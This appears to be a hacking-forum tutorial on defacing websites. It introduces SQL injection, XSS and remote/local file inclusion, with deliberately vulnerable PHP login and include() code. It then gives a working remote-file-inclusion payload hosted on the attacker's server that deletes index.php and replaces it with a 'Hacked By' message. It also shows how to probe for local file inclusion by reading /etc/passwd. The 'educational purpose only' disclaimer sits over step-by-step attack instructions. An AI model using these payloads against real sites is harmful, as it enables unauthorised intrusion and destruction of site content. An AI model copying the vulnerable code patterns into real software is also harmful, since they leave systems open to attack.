Basics Of Hacking

well well , every young hacker like to hack websites. But guys this is just for educational purpose only . Silenthackers or $2 will not take any responsibility for this thread.
ok
What is website hacking??
your answer --> To hack a website.
Now what is website defacing??
This means to change website content with your website page.
Today i'll tell you basics. How websites is hacked by bad guys.
Before you do any thing, you need these things:
1.Web Browser- Like firefox
2.Google
3.Little mind :P

COMMON WEB-SCRIPT VULNERABILITIES:
this will tell you vulnerabilites in webserver's server sided code.
@ SQLi
@ XSS (cross site scripting)
@ RFI/LFI(Remote/Local file Inclusion)
What is SQLi (structured query language injection):
SQL Injection: A injecting sql queries into another database or using queries to get auth bypass as an admin.Example usages of SQL injection: Bypass login verification, add new admin account, lift passwords, lift credit-card details, etc.; you can access anything that's in the database.
Example of vulnerable code:

Code

[color=red]<?php
$user = $_POST['u'];
$pass = $_POST['p'];

if (!isset($user) || !isset($pass)) {
     echo("<form method=post><input type=text name=u value=Username><br /><input type=password name=p value=Password><br /><input type=submit value=Login></form>");
} else {
     $sql = "SELECT `IP` FROM `users` WHERE `username`='$user' AND `password`='$pass'";
     $ret = mysql_query($sql);
     $ret = mysql_fetch_array($ret);
     if ($ret[0] != "") {
         echo("Welcome, $user.");
     } else {
         echo("Incorrect login details.");
     }
}
?>[/color]

[size=11]this code checks the take the username/password from user and then check for the combination.

now sqli can be done in two ways:
1.Basic SQLi
2.Advanced SQLi
more explanation will be in upcoming threads.
[size=16]
XSS:Cross-Site Scripting is the process of injecting JavaScript (mainly) and also HTML into a webpage
click here for advance knowledge on XSS
3.RFI/LFI:This vulnerability allows the user to include a remote or local file, and have it parsed and executed on the local server.
Example of vulnerable code:

Code

<?php
$page = $_GET['p'];
if (isset($page)) {
     include($page);
} else {
     include("home.php");
}
?>

How to test whether the website is vulnerable ??
let say in broswer you find url something like this -->www.website.com/index.php?p=
Now put replace upper url with www.website.com/index.php?p=www.google.com
if you see google page , then this website to LFI/RFI.
let's assume it's vulnerable to RFI .
we upload the following code to our server. That is we put this file in our website and save the file as rfi.php

Code

<?php
unlink("index.php");
system("echo Hacked By $2 > index.php");
?>

Now we will put this in url--> www.website.com/index.php?p=www.yourwebsite.com/rfi.php
thus our rfi.php code will run on the server and our page will be displayed instead of www.website.com but now we assume that a website is vulnerable to RFI:
We assume that the www.website.com server is running unix/linux,theb we try to viewing "www.website.com/index.php?p=/etc/passwd"; if we see the password it's vulnerable to LFI. Else not vulnerable to LFI.